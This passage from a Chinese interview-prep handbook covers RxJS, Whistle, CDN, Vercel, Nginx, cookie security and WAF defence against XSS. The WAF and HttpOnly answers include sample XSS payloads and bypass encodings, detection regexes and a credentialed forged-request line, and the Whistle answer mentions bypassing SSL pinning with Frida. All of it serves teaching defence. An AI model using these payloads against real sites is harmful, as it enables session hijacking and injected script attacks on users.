面试题手册

梳理高频技术问题,帮助你按主题复习和查漏补缺。

前端阅读 05月27日 21:47

RxJS 中 switchMap、mergeMap、concatMap 有什么区别?常用操作符有哪些?

答案:六类核心操作符面试中最常考的 RxJS 操作符分六类:创建类:of、from、interval、timer — 把同步值、数组、Promise、定时器转为 Observable。转换类:map 逐值转换;switchMap 切换到新 Observable 并取消前一个(搜索框场景首选);mergeMap 并行处理所有内部 Observable(不取消,不保证顺序);concatMap 顺序处理,上一个完成才订阅下一个。过滤类:filter 条件过滤;take(n) 只取前 n 个;takeUntil(notifier) notifier 发出时终止;debounceTime 停顿后才发出(防抖);throttleTime 间隔内只取第一个(节流)。组合类:merge 并行合并;concat 顺序连接;combineLatest 任一更新都组合最新值;zip 按索引一一配对。错误处理类:catchError 捕获并返回替代 Observable;retry(n) 失败后自动重试 n 次。工具类:tap 执行副作用不改值(调试利器);delay 延迟发射;distinctUntilChanged 连续重复值只发一次。switchMap vs mergeMap vs concatMap:面试最高频对比三者的核心区别在于对前一个内部 Observable 的处理策略:switchMap:新值到来 → 取消上一个 → 订阅新的。搜索框、路由切换等竞态场景必选,保证只拿到最新结果。mergeMap:全部并行订阅,互不干扰。适合批量请求、日志上报等不关心顺序的场景。可传第二参数控制并发数。concatMap:排队串行,上一个完成才订阅下一个。适合顺序敏感的写操作,如依次保存表单步骤。// switchMap:搜索框 — 自动取消旧请求,避免竞态fromEvent(input, 'input').pipe( debounceTime(300), switchMap(query => http.get('/search', { query })))// mergeMap:批量删除 — 限制3并发ids.pipe(mergeMap(id => http.delete(`/item/${id}`), 3))// concatMap:串行保存 — 保证顺序actions.pipe(concatMap(action => http.post('/save', action)))选错操作符的后果:搜索场景用 mergeMap 会显示旧请求结果覆盖新结果;表单保存用 mergeMap 可能后发先至导致数据错乱。高频实战组合模式// 搜索防抖 + 去重 + 空值过滤 + 自动取消旧请求searchInput.pipe( debounceTime(300), distinctUntilChanged(), switchMap(query => query.length > 0 ? searchAPI(query) : EMPTY))// 表单自动保存(去重 + 防抖)form.valueChanges.pipe( debounceTime(1000), distinctUntilChanged(), switchMap(data => saveAPI(data)))追问方向combineLatest vs zip 的区别?— combineLatest 任一更新即触发输出,zip 等所有 Observable 都发了新值才按索引配对如何避免内存泄漏?— takeUntil(destroy$\) 模式,组件销毁时 destroy$.next() 统一取消,优于手动 unsubscribeshareReplay(1) 解决什么问题?— 多订阅者共享同一数据源并缓存最新值,避免重复 HTTP 请求exhaustMap 是什么?— 忽略新值直到当前内部 Observable 完成,适合防止重复提交(登录按钮连击)forkJoin vs combineLatest?— forkJoin 等所有完成后只取各自最后一个值,类似 Promise.all;combineLatest 每次变化都触发
前端阅读 05月27日 21:46

whistle 如何支持 WebSocket 代理和调试?

核心答案Whistle 基于代理机制自动拦截 WebSocket 连接,在 Network 面板的 Frames 标签中实时展示收发消息,配合规则可以实现暂停、忽略、Mock 等调试操作。具体分三步:1. 抓包查看消息设置代理后,Whistle 自动捕获 ws/wss 请求。在 Network 面板选中该请求,切换到 Frames 标签即可看到实时消息流,JSON 消息会自动格式化。2. 用规则控制连接行为# 暂停接收服务端消息ws://example.com enable://pauseReceive# 暂停发送客户端消息ws://example.com enable://pauseSend# 忽略收发(不转发)ws://example.com enable://ignoreReceivews://example.com enable://ignoreSend3. 用 Composer 构造和发送消息在 Frames 面板底部有 Composer 区域,可以直接向服务端或客户端发送自定义文本/JSON 数据,用于模拟服务端推送或异常响应。追问一:如何修改 WebSocket 消息内容?Whistle 原生不支持直接改写 WebSocket 消息体,需要借助 frameScript 规则或插件:frameScript:在 Rules 面板配置 ws://example.com frameScript://{wsModify.js},脚本中监听 onframe 事件对帧数据做替换插件方式:安装 whistle.script 插件,配置 ws://example.com script://handleWS,在脚本中拦截并修改 message追问二:Whistle 如何处理 wss 连接?和 HTTPS 一样需要安装 Whistle 的根证书。证书装好后,Whistle 通过 MITM 方式解密 wss 流量,抓包和调试方式与 ws 完全一致。追问三:如何 Mock WebSocket 服务端?用 Composer 手动发消息是最快的方式。如需自动化,可以写插件监听 upgrade 事件,在 server.on('connection') 回调中按业务逻辑返回 Mock 数据,配置规则指向该插件即可。
计算机基础阅读 05月27日 21:46

什么是CDN?CDN的工作原理是什么?

CDN 是什么?CDN(Content Delivery Network,内容分发网络)是一组分布在不同地理位置的服务器集群,核心目标是将内容缓存到离用户最近的边缘节点,减少网络延迟,加速资源访问。CDN 的工作原理用户请求资源时,完整流程如下:DNS 解析:用户访问域名,本地 DNS 向权威 DNS 查询,发现该域名配置了 CNAME 记录,指向 CDN 服务商域名GSLB 调度:请求到达 CDN 的 GSLB(全局负载均衡),根据用户 IP、节点负载、网络状况等综合判定,返回最优边缘节点 IP边缘响应:用户向该边缘节点发起请求,节点检查缓存——命中则直接返回;未命中则回源获取,缓存后返回给用户关键在于 CNAME + GSLB 这套调度机制,它让用户无感知地被路由到最近节点。核心技术点缓存策略缓存键:由 URL、Query String、请求头等生成,决定哪些请求命中同一份缓存TTL:控制缓存过期时间,过期后需回源验证或重新获取缓存层级:边缘缓存 → 区域缓存 → 源站,逐级回源缓存预热:主动将内容推送到边缘节点,避免首次访问回源缓存刷新:源站更新后,主动清除 CDN 缓存,保证内容时效性负载均衡GSLB:全局调度,决定用户访问哪个节点健康检查:实时监控节点状态,自动剔除故障节点CDN 与反向代理的区别| | CDN | 反向代理 ||---|---|---|| 部署位置 | 多地分布式边缘节点 | 通常部署在源站前面 || 核心目的 | 就近加速、降低延迟 | 安全防护、请求转发 || 缓存范围 | 面向全球用户 | 面向单一入口 |常见面试追问CDN 缓存命中率低怎么办? 检查缓存键设计是否合理、TTL 是否过短、是否有大量动态参数干扰缓存CDN 回源风暴怎么处理? 设置回源限流、使用缓存预热、配置请求合并(同回源请求合并为一次)HTTPS 场景下 CDN 如何工作? CDN 节点与用户之间 HTTPS 加密,CDN 与源站之间也可 HTTPS,支持证书部署在 CDN 侧动态内容能否用 CDN? 可以,通过动态加速(DCDN)优化路由和传输协议,但不走缓存
服务端阅读 05月27日 21:46

Vercel 的部署流程是怎样的?

Vercel 的部署流程是怎样的?核心流程分五步:代码拉取 → 依赖安装 → 构建 → 上传分发 → 域名配置。最常用的是 Git 集成部署——推送代码到主分支触发生产部署,推送到其他分支或创建 PR 触发预览部署。部署触发方式Git 集成(推荐):连接 GitHub / GitLab / Bitbucket 仓库后,代码推送自动触发构建和部署。首次需在 Dashboard 导入仓库、配置构建设置(框架和命令通常自动检测),点击 Deploy 完成。CLI 手动部署:npm i -g vercelvercel loginvercel # 预览环境vercel --prod # 生产环境API 部署:通过 @vercel/client 的 createDeployment 实现程序化部署,适合 CI/CD 集成场景。五个阶段详解代码拉取:从 Git 仓库拉取最新代码,检查 .gitignore 排除无关文件,解析依赖关系依赖安装:自动检测包管理器(npm / yarn / pnpm),执行安装,node_modules 会被缓存加速后续构建构建:执行构建命令(默认 npm run build,可在 vercel.json 自定义),自动检测框架并应用优化(如 Next.js 的代码分割、静态生成),生成 HTML/CSS/JS 等静态资源部署上传:构建产物上传至边缘网络,CDN 分发到全球节点,配置缓存策略域名配置:自动签发并续期 SSL 证书(Let'''s Encrypt),配置 DNS 解析,支持自定义域名绑定预览部署 vs 生产部署| 维度 | 预览部署 | 生产部署 ||------|---------|---------|| 触发条件 | PR 或非主分支推送 | 主分支合并 / vercel --prod || URL 格式 | project-branch.vercel.app | project.vercel.app 或自定义域名 || 环境变量 | 使用 Preview 环境 | 使用 Production 环境 |预览部署为每个 PR 生成独立 URL,适合代码审查和功能测试;生产部署使用更严格的构建检查。常见追问Vercel 如何加速构建? 三种机制:node_modules 缓存复用、增量构建(仅重建变更页面,复用未变更产物)、并行构建多项目。对于 Next.js 项目还支持 ISR(增量静态再生成),避免全量重建。部署失败常见原因? 依赖版本冲突、环境变量缺失、构建命令错误、Serverless 函数内存不足。排查方式:查看构建日志定位失败步骤,确认 package.json 依赖版本一致,验证环境变量配置完整。部署后页面 404? 检查 outputDirectory 配置是否与实际构建产物目录一致(如 Vite 默认 dist,Next.js 默认 .next),确认路由重写规则正确。如何区分环境变量? Vercel 支持 Development / Preview / Production 三套独立环境变量,在项目 Settings → Environment Variables 中分别配置,CLI 通过 vercel env pull 拉取对应环境配置。vercel.json 常用配置项? 可自定义 buildCommand、outputDirectory、framework、路由重写规则(rewrites)、重定向(redirects)和缓存头(headers)。
服务端阅读 05月27日 21:46

Vercel 的 Edge Functions 和 Serverless Functions 有什么区别?

核心区别Edge Functions 运行在全球边缘节点的 V8 隔离实例上,冷启动 <50ms;Serverless Functions 运行在中心化服务器的 Node.js 运行时中,冷启动 500ms-3s。本质区别是运行时环境和部署位置:Edge 用轻量 V8 Runtime 换取极低延迟,Serverless 用完整 Node.js 换取功能全面。关键参数对比| 维度 | Edge Functions | Serverless Functions ||------|---------------|---------------------|| 运行时 | Edge Runtime (V8) | Node.js || 冷启动 | <50ms | 500ms-3s || 执行时限 | 30s (Pro) | 60s (Pro),企业版可达 900s || 内存 | 128 MB | 最高 3008 MB || 请求体大小 | 1 MB | 4.5 MB || 部署包 | <1 MB | 50 MB 压缩(解压 250 MB)|| 文件系统 | 不支持 | 只读访问 || Node.js API | 受限(无 fs/child_process)| 完整支持 || 数据库连接 | 不支持连接池,需 HTTP 驱动 | 支持 Prisma/ORM 连接池 || 部署位置 | 全球边缘节点自动就近 | 指定区域 |Edge Functions 适用场景路由重写、A/B 测试、地理路由、认证鉴权、缓存控制——特点是逻辑轻、响应要求快:// middleware.jsimport { NextResponse } from "next/server";export const runtime = "edge";export function middleware(request) { const token = request.cookies.get("auth-token"); if (!token) { return NextResponse.redirect(new URL("/login", request.url)); } // 地理路由 if (request.geo?.country === "CN") { return NextResponse.rewrite(new URL("/zh", request.url)); } return NextResponse.next();}Serverless Functions 适用场景复杂业务逻辑、数据库操作、文件处理、长时间计算——需要完整 Node.js 生态:// pages/api/data.jsimport { PrismaClient } from "@prisma/client";const prisma = new PrismaClient();export default async function handler(req, res) { const users = await prisma.user.findMany({ include: { posts: true }, }); res.status(200).json({ users });}export const config = { maxDuration: 30, memory: 2048,};混合使用:Edge 挡在前面实际项目中常用 Edge 做认证和路由,请求通过后再交给 Serverless 处理业务。这样既利用了 Edge 的低延迟拦截,又不丢失 Serverless 的完整功能。面试追问Edge Runtime 具体不支持哪些 API? fs、child_process、crypto.createCipheriv(仅支持 Web Crypto)、net/tls 模块均不可用;fetch、Request、Response、URL 等 Web API 完整可用。Prisma 能在 Edge 上跑吗? Prisma Accelerate(HTTP 驱动)可以,但传统 Prisma Client(TCP 连接池)不行。同理,需 TCP 连接的数据库驱动都无法在 Edge 使用。Edge 的 128MB 内存够用吗? 路由/认证/缓存场景足够,但不要在 Edge 中做 JSON 大对象解析或图片处理,超出会 OOM。
前端阅读 05月27日 21:45

什么是 HttpOnly Cookie?如何使用 HttpOnly Cookie 防止 XSS 攻击?

什么是 HttpOnly CookieHttpOnly 是 Cookie 的一个属性,设置后浏览器禁止 JavaScript 通过 document.cookie 读取该 Cookie,从而阻止 XSS 攻击窃取会话信息。核心原理浏览器在收到 Set-Cookie: sessionId=abc123; HttpOnly 响应头后,会将该 Cookie 标记为只读。此时 document.cookie 的返回值中不包含该条目,恶意脚本无法获取。Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict// 未设 HttpOnly → 可窃取document.cookie; // "sessionId=abc123; theme=dark"// 已设 HttpOnly → 不可见document.cookie; // "theme=dark"如何设置Node.js Express:res.cookie("sessionId", token, { httpOnly: true, secure: true, sameSite: "strict"});PHP:setcookie("sessionId", $token, [ "httponly" => true, "secure" => true, "samesite" => "Strict"]);Nginx:proxy_cookie_flags ~ httponly secure samesite=strict;局限性HttpOnly 只能防止 Cookie 被读取,不能阻止 XSS 本身。攻击者仍可通过 XSS 执行以下操作:利用 fetch("/api/transfer", {credentials:"include"}) 携带 Cookie 发起请求修改页面 DOM 或重定向到钓鱼网站窃取未设 HttpOnly 的其他 Cookie因此 HttpOnly 必须与 CSP、SameSite、输入过滤等手段配合使用。追问HttpOnly 能防 CSRF 吗? 不能。CSRF 是浏览器自动携带 Cookie 发起的跨站请求,与 JavaScript 读取无关,需靠 SameSite 或 CSRF Token 防护。哪些 Cookie 不应设 HttpOnly? 前端 JS 需要访问的功能性 Cookie,如主题偏好、语言设置等。会话和认证类 Cookie 必须设 HttpOnly。设了 HttpOnly 为什么还会丢 Cookie? 中间人攻击可在未加密的 HTTP 上截获 Cookie,必须同时设置 Secure 属性强制 HTTPS 传输。
前端阅读 05月27日 21:45

RxJS 中的 Observable 和 Promise 有什么区别?

核心答案Observable 和 Promise 都是处理异步操作的工具,关键区别在四个字:单值/多值、惰性/急切、可取消/不可取消、单播/多播。| 维度 | Promise | Observable ||------|---------|------------|| 值的数量 | 只能 resolve 一次 | 可以 next 多次 || 执行时机 | 创建即执行(eager) | 订阅才执行(lazy) || 取消 | 无法取消 | unsubscribe() 取消 || 多播 | 同一 Promise 多次 then 共享同一结果 | 默认冷 Observable,每次订阅独立执行 || 错误重试 | 需手动包装 | retry 操作符一行搞定 || 操作符 | then/catch/finally | map、filter、switchMap 等上百个 |逐条展开1. 单值 vs 多值Promise 只能 resolve 一次,后续调用被忽略;Observable 通过 next 可以持续推送数据。// Promise — 只拿到 1const p = new Promise(resolve => { resolve(1); resolve(2); // 无效});// Observable — 拿到 1, 2, 3const obs$ = new Observable(subscriber => { subscriber.next(1); subscriber.next(2); subscriber.next(3); subscriber.complete();});2. 惰性 vs 急切Promise 构造函数里的代码在 new 时就跑了;Observable 的回调要等 subscribe 才执行。这意味着不订阅的 Observable 什么也不做,省资源。3. 可取消这是面试高频追问点。Promise 一旦创建就跑到完,想中途撤销只能用第三方库包装。Observable 原生支持:const sub = interval(1000).subscribe(x => console.log(x));setTimeout(() => sub.unsubscribe(), 3000); // 3秒后停止4. 冷 vs 热(单播 vs 多播)冷 Observable 每次订阅都重新执行一遍;热 Observable(如 Subject)多个订阅者共享同一数据源。Promise 天然是"热"的——创建后结果确定,所有 then 拿到同一个值。// 冷 Observable — 两个订阅各跑一次const cold$ = of(Math.random());cold$.subscribe(v => console.log(v)); // 0.123cold$.subscribe(v => console.log(v)); // 0.456(不同值)// 用 share() 变热const hot$ = cold$.pipe(share());5. 错误处理与重试Promise 出错只能 catch 一次,重试要自己写循环。Observable 有 retry、retryWhen 等操作符,一行搞定指数退避重试。// Promise — 手动重试function retryFetch(url, n) { return fetch(url).catch(err => n > 0 ? retryFetch(url, n - 1) : Promise.reject(err));}// Observable — 一行重试http.get(url).pipe(retry(3));6. 操作符生态Promise 只有 then 链,复杂异步编排(竞速、合并、去抖)要手写。Observable 有 switchMap、mergeMap、debounceTime、combineLatest 等操作符,声明式描述数据流。面试追问方向什么时候用 Promise 就够了? 单次异步请求、不需要取消、不需要流式处理——Promise 更简单。Observable 能完全替代 Promise 吗? 理论上可以(from(promise) 转换),但简单场景用 Observable 是过度设计。Angular 为什么选 Observable? HTTP 请求可能需取消(路由离开),表单值变化是流,组件生命周期也是流——Observable 统一了这些模型。
服务端阅读 05月27日 21:45

Nginx 的负载均衡有哪些策略?如何配置?

Nginx 负载均衡有哪些策略?如何配置?Nginx 通过 upstream 模块实现负载均衡,内置 5 种策略,另有第三方扩展策略。面试核心答案:轮询(默认)、加权轮询、最少连接、IP 哈希、一致性哈希。1. 轮询(Round Robin,默认)按顺序依次分配请求,服务器性能相近时使用。upstream backend { server 192.168.1.100:8080; server 192.168.1.101:8080;}2. 加权轮询(Weighted Round Robin)权重越高分配越多,适用于服务器性能不均。upstream backend { server 192.168.1.100:8080 weight=3; server 192.168.1.101:8080 weight=1;}3. 最少连接(Least Connections)将请求分给当前活动连接数最少的服务器,适用于请求处理时间差异大的场景。upstream backend { least_conn; server 192.168.1.100:8080; server 192.168.1.101:8080;}4. IP 哈希(IP Hash)同一客户端 IP 始终分配到同一台服务器,实现会话保持。upstream backend { ip_hash; server 192.168.1.100:8080; server 192.168.1.101:8080;}注意:ip_hash 在后端服务器增减时会导致大量请求重新分配,一致性哈希可解决此问题。5. 一致性哈希(Hash)基于指定 key(如 URI、Cookie)做哈希,consistent 参数启用一致性哈希算法,减少服务器变动时的映射抖动。upstream backend { hash $request_uri consistent; server 192.168.1.100:8080; server 192.168.1.101:8080;}服务器状态参数upstream backend { server 192.168.1.100:8080 weight=3 max_fails=3 fail_timeout=30s; server 192.168.1.101:8080 weight=2 max_fails=3 fail_timeout=30s; server 192.168.1.102:8080 down; # 永久下线 server 192.168.1.103:8080 backup; # 备用,主服务不可用时启用 server 192.168.1.104:8080 max_conns=100; # 最大并发连接数}策略选择速查| 场景 | 推荐策略 ||---|---|| 服务器性能相近 | 轮询 || 服务器性能不均 | 加权轮询 || 请求处理时间差异大 | 最少连接 || 需要会话保持 | IP 哈希 / 一致性哈希 || 需要缓存命中 | 一致性哈希(基于 URI) |完整配置示例http { upstream backend { least_conn; server 192.168.1.100:8080 weight=3 max_fails=3 fail_timeout=30s; server 192.168.1.101:8080 weight=2 max_fails=3 fail_timeout=30s; server 192.168.1.103:8080 backup; keepalive 32; } server { listen 80; server_name example.com; location / { proxy_pass http://backend; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } }}健康检查开源版 Nginx 仅支持被动健康检查(通过 max_fails / fail_timeout 判断),商业版 Nginx Plus 提供主动健康检查。面试追问Q:iphash 和一致性哈希的区别?iphash 以客户端 IP 为 key,后端变动时映射大规模失效;一致性哈希通过虚拟环减少变动影响,且可自定义 key(URI、Cookie 等),灵活性更高。Q:Nginx 负载均衡能做四层转发吗?能。使用 stream 模块可做 TCP/UDP 四层负载均衡,配置方式与 HTTP 的 upstream 类似。Q:如何实现更精细的会话保持?Nginx Plus 支持 sticky cookie 指令;开源版可配合一致性哈希 hash $cookie_jsessionid consistent 实现基于 Cookie 的会话粘滞。
前端阅读 05月27日 21:45

什么是 SameSite Cookie?它如何防御 CSRF 和 XSS 攻击?

答案SameSite 是 Cookie 的一个属性,控制浏览器是否在跨站请求中携带 Cookie。它是防御 CSRF 攻击的核心手段,也能在一定程度上限制跨站 XSS 的危害扩散。三种模式的区别:| 模式 | 跨站请求是否携带 Cookie | 典型场景 ||------|------------------------|----------|| Strict | 完全不携带 | 银行、支付等高安全应用 || Lax | 仅顶层导航(如点击链接)携带,异步请求不携带 | 大多数 Web 应用的推荐默认值 || None | 全部携带,必须配合 Secure | 第三方登录、iframe 嵌入等跨站场景 |res.cookie('sessionId', token, { httpOnly: true, secure: true, sameSite: 'lax' // 现代浏览器默认值});为什么 Lax 是推荐默认值?Strict 最安全但有体验问题:用户从邮件或搜索引擎点击链接进入网站时,Cookie 不会被发送,导致登录态丢失。Lax 在安全与体验间取了平衡——顶层 GET 导航携带 Cookie 保证正常跳转,POST 和异步请求不携带,阻断 CSRF。SameSite 能防 XSS 吗?不能完全防。SameSite 限制的是跨站请求中的 Cookie 发送,但 XSS 发生在同站内,脚本可以直接读取非 HttpOnly 的 Cookie 或发起同站请求。正确做法是 SameSite + HttpOnly + CSP 组合使用:res.cookie('sessionId', token, { httpOnly: true, secure: true, sameSite: 'strict' });// 配合 CSP 限制脚本来源res.setHeader('Content-Security-Policy', "script-src 'self'");None 模式有什么坑?SameSite=None 必须同时设置 Secure,否则浏览器会拒绝。而且 None 模式下 Cookie 在所有跨站请求中都会发送,等于放弃了 SameSite 的防护,必须额外依赖 CSRF Token 等机制兜底。追问Chrome 80+ 未显式设置 SameSite 时默认行为是什么?——默认 Lax,未声明的 Cookie 在跨站 POST/iframe/fetch 中不会发送。SameSite=Lax 下,哪些跨站请求会携带 Cookie?——顶层 GET 导航(<a> 点击、window.open),不包含 POST 表单、iframe、fetch/XHR。如果应用需要嵌入第三方 iframe 并保持登录态,怎么处理?——SameSite=None; Secure + CSRF Token 双重防护。
前端阅读 05月27日 21:43

whistle 和 Charles 有什么区别,如何选择使用?

核心结论Whistle 开源免费、规则灵活、扩展性强,适合日常高频调试的前端开发者;Charles 图形界面友好、开箱即用,适合偶尔抓包或不熟悉命令行的用户。两者都是 HTTP/HTTPS 调试代理,但设计理念不同:Whistle 靠规则配置驱动,Charles 靠可视化操作驱动。关键差异| 维度 | Whistle | Charles ||------|---------|---------|| 开源与费用 | 完全开源免费 | 商业软件,$50/许可证 || 技术栈 | Node.js,npm 安装 | Java,独立安装包 || 配置方式 | 规则语法(类似 hosts),可脚本化 | 图形界面点选操作 || 协议支持 | HTTP/HTTPS/WebSocket/TCP | HTTP/HTTPS || 插件生态 | npm 插件,可注入 JS/CSS/vConsole | 内置功能为主,扩展有限 || 移动端抓包 | 需手动配代理+装证书,规则可共享 | 同样需配代理,界面操作更直观 || Mock 能力 | 规则指定接口固定返回,不会超时 | Map Local/Rewrite 实现,配置稍繁琐 |选 Whistle 的典型场景团队协作:规则文件可纳入 Git 版本控制,新人拉取即用频繁 Mock:前端联调时给接口固定回参,避免后端未就绪导致阻塞注入调试:通过插件往页面注入 vConsole、eruda 等移动端调试工具预算有限:个人项目或小团队不想付费选 Charles 的典型场景临时抓包:偶尔排查一个接口问题,打开就能用带宽限速测试:内置 Throttle 功能,模拟弱网环境更方便AJAX 调试:请求/响应结构化展示清晰,搜索匹配可定位到具体字段非技术背景:产品或测试人员更习惯图形界面追问:能不能两个都用?可以。日常开发用 Whistle 处理规则和 Mock,遇到需要弱网测试或快速排查时切 Charles。注意两者不能同时监听同一端口,需错开代理端口配置。
服务端阅读 05月27日 21:43

如何在 Vercel 上实现 CI/CD 流程?

Vercel CI/CD 的核心机制是什么?Vercel 采用 Git-push-to-deploy 模型——推送代码即触发构建和部署,无需手动配置流水线。它支持 GitHub、GitLab、Bitbucket 三种 Git 提供商,部署触发条件包括:推送代码到分支、创建/合并 Pull Request、推送标签。三种部署环境各有分工:Production 对应主域名,使用生产环境变量;Preview 为每个分支或 PR 生成唯一 URL,方便团队评审;Development 用于本地开发,通过 Vercel CLI 访问。如何配置 Vercel 的自动部署?在 Vercel Dashboard 中 Import Git Repository,授权后选择仓库并配置构建设置即可。vercel.json 中可自定义 buildCommand、outputDirectory、installCommand 等字段。环境变量按环境隔离管理:在 Dashboard 的 Settings > Environment Variables 中添加,或用 vercel env add APIKEY production 通过 CLI 设置。代码中通过 process.env.APIKEY 访问。关键点:环境变量区分 Production、Preview、Development 三种作用域,部署时自动注入对应环境的变量。Vercel 如何实现零停机部署?Vercel 的零停机部署依赖两个核心机制:Skew Protection(倾斜保护):新版本部署上线后,旧版本的客户端请求仍能正确路由到对应的服务端资源,避免因客户端缓存导致的版本不匹配错误。原子切换:Vercel 不是逐步替换实例,而是在新构建完成后一次性切换流量。旧部署保持可用直到所有活跃请求完成,确保没有请求被中断。回滚也很快:vercel rollback 或在 Dashboard 中一键回退到任意历史部署。Preview 部署在团队协作中有什么价值?每个 PR 自动生成一个独立的预览 URL,评审者可以直接在浏览器中查看变更效果,无需本地拉取代码。这意味着:设计师和产品经理可以参与评审,不依赖开发环境多个 PR 的预览环境互相隔离,不会相互干扰预览部署使用 Preview 环境变量,可以连接测试数据库等独立资源在 vercel.json 中可以控制哪些分支触发部署:git.deploymentEnabled 字段可以禁用特定分支模式的自动部署。如何在 Vercel CI 中集成测试?单元测试:在 package.json 的 postinstall 脚本中运行测试,或通过 buildCommand 前置测试命令。但注意构建超时限制,Hobby 计划最长 10 分钟,Pro 计划最长 45 分钟。E2E 测试:用 Playwright 等工具对 Preview URL 运行集成测试。关键步骤是拿到预览部署的 URL 后再执行测试,而非测试本地开发服务器。外部 CI 集成:在 GitHub Actions 中用 vercel build 在本地构建,再用 vercel deploy --prebuilt 部署已构建产物。这种方式把测试、Lint 等步骤放在 Vercel 构建之外,避免构建超时。Vercel 的构建缓存如何工作?Vercel 自动缓存 node_modules 和构建产物。对于 Next.js 项目,增量静态再生(ISR)在构建时只重新生成变化的页面,而非全站重建。在 Monorepo 场景下,Turborepo 的远程缓存可以跨团队成员和 CI 运行共享构建产物——未修改的包直接复用缓存,跳过重新构建。这能把 CI 时间从分钟级降到秒级。配置方式:在 vercel.json 的 build.env 中设置缓存 key,或通过 Turborepo 的 turbo.json 配置缓存策略。面试追问:持续交付和持续部署有什么区别?持续交付(Continuous Delivery)要求所有变更通过自动化测试,但部署到生产环境需要手动审批。持续部署(Continuous Deployment)则完全移除手动环节,通过所有检查的代码直接上线。在 Vercel 上,默认行为接近持续部署——合并到主分支自动部署到 Production。如果需要审批环节,可以用 Vercel 的 Deployment Protection 或在 Git 侧配置分支保护规则,要求 PR 审批后才能合并。面试追问:如何处理部署失败?首先通过 vercel logs deployment-url 查看部署日志定位原因。常见失败原因包括:依赖版本冲突、环境变量缺失、构建超时。处理流程:立即回滚到上一个稳定部署,然后在 Preview 环境中修复问题,验证通过后再合并。Vercel 的部署历史完整保留,任意历史版本都可以一键回滚。
前端阅读 05月27日 21:43

什么是 WAF(Web 应用防火墙)?如何使用 WAF 防止 XSS 攻击?

核心答案WAF(Web Application Firewall)是部署在 Web 应用前端的流量检测与过滤层,通过分析 HTTP 请求的参数、头部、正文等内容,识别并拦截 XSS、SQL 注入等攻击。防止 XSS 的核心逻辑:WAF 对请求做多重解码(URL 解码、HTML 实体解码、Unicode 解码等),再用正则签名或语义分析匹配 <script>、javascript:、onerror= 等 XSS 特征,命中则阻断请求。三种检测机制签名检测——最主流。用正则匹配已知 XSS payload 模式,如 <script> 标签、事件处理器 on\w+=、javascript: 伪协议等。优点是速度快、规则可控;缺点是只能检测已知模式,编码绕过可逃逸。行为分析——统计维度判断。监控单 IP 请求频率、参数长度异常、特殊字符密度等,超过阈值则标记风险。适合对付自动化扫描和批量注入,但误报率较高。语义/机器学习检测——对输入做语法解析或用训练模型预测恶意概率,能识别变形和混淆 payload,但部署成本高、延迟大,通常作为辅助层。常见绕过与防护| 绕过方式 | 示例 | WAF 对策 ||---------|------|---------|| URL 编码 | %3Cscript%3E | 多层 URL 解码 || 大小写混淆 | <ScRiPt> | 规则不区分大小写 || 事件处理器 | <img src=x onerror=alert(1)> | 匹配 on\w+\s*= 模式 || 字符串拼接 | eval(String.fromCharCode(...)) | 语义分析 + 行为监控 |关键原则:不能只靠 WAF。输入验证、输出编码、CSP 策略必须同步部署,WAF 是纵深防御的一层,不是银弹。面试追问WAF 和传统防火墙的区别? 传统防火墙工作在网络/传输层(L3/L4),基于 IP 和端口过滤;WAF 工作在应用层(L7),理解 HTTP 语义,能识别业务逻辑攻击。WAF 误报怎么处理? 白名单放行合法请求,调整规则阈值,结合业务上下文做灰度观察,逐步收紧策略。WAF 部署位置? 反向代理模式(串联,阻断能力强)或旁路镜像模式(只检测不阻断,适合审计)。
前端阅读 05月27日 21:43

whistle 常见问题有哪些,如何排查和解决?

核心排查思路Whistle 常见问题集中在四个环节:安装启动 → 代理连通 → HTTPS 证书 → 规则生效。逐层排查即可定位大多数问题。安装启动失败怎么办安装报 EACCES 权限错误,用 sudo npm i -g whistle 或改用 nvm 管理 Node 版本。启动报端口占用,先 w2 stop 再 w2 start,或用 -p 指定端口:w2 start -p 8080。启动成功但无法访问 127.0.0.1:8899,运行 w2 status 确认进程存活,再检查防火墙是否放行了对应端口。手机连不上代理怎么排查确保手机和电脑在同一 Wi-Fi 下,手机代理地址填电脑局域网 IP(不是 127.0.0.1),端口填 whistle 监听端口。电脑防火墙需允许该端口入站连接。仍不通时,用 curl -x http://电脑IP:端口 http://example.com 在另一设备验证代理是否可达。HTTPS 抓包失败如何解决这是最高频问题,分两步走:启用 HTTPS 拦截:whistle 面板点击 HTTPS → 勾选 Capture HTTPS安装根证书:浏览器访问 rootca.pro 下载证书,安装到系统"受信任的根证书颁发机构"iOS 额外步骤:安装描述文件后,还需在"设置 → 通用 → 关于本机 → 证书信任设置"中手动开启信任。Android 7+ 默认不信任用户证书,需 root 或配置 networksecurityconfig。Firefox 使用独立证书库,需单独导入。规则不生效怎么排查按以下顺序检查:规则语法是否正确 → 是否被注释或被更靠前的规则覆盖 → 是否需要 w2 restart 重载 → 浏览器缓存是否干扰(用隐身模式验证)。在 Network 面板查看请求是否经 whistle 转发,未转发则代理配置有误。性能问题如何优化规则过多或正则过复杂会拖慢响应。精简规则、避免贪婪匹配,必要时 w2 restart 释放内存。日志积累过多时清空:Network → Tools → Server 清理即可。 追问:应用使用了 SSL Pinning 怎么办?— 用 域名 disable://capture 跳过该域名的解密,或借助 Frida/Xposed 绕过证书校验。多实例共存?用不同端口和 --dirname 指定独立数据目录启动。
前端阅读 05月27日 21:42

如何在 RxJS 中防止内存泄漏?

核心答案RxJS 内存泄漏的根因是订阅了 Observable 却未取消订阅,导致回调闭包持有外部引用,阻止垃圾回收。防止泄漏的关键就一条:确保每个订阅都有取消的时机。最推荐的方式是 takeUntil 模式:private destroy$ = new Subject<void>();ngOnInit() { this.http.get('/api/data').pipe( takeUntil(this.destroy$) ).subscribe(data => this.data = data);}ngOnDestroy() { this.destroy$.next(); this.destroy$.complete();}组件销毁时 destroy$ 发出通知,所有通过 takeUntil 管道的订阅自动完成,闭包释放,GC 可回收相关内存。哪些 Observable 必须取消订阅判断标准:不会自动 complete 的流必须手动取消。interval、timer —— 持续发射,永不完成fromEvent —— 事件监听,永不完成Subject / BehaviorSubject —— 需手动调 complete()Angular 的 params、valueChanges —— 持续流HTTP 请求 httpClient.get() 发射一次后自动 complete,理论上不必取消,但用 takeUntil 也不亏——能顺便中断请求。三种取消策略对比1. takeUntil —— 最推荐,声明式,一个 destroy$ 管所有订阅2. Subscription 聚合 —— new Subscription() + .add(),批量 unsubscribe(),适合非组件场景3. take(1) / first() —— 只需首个值时用,取完自动 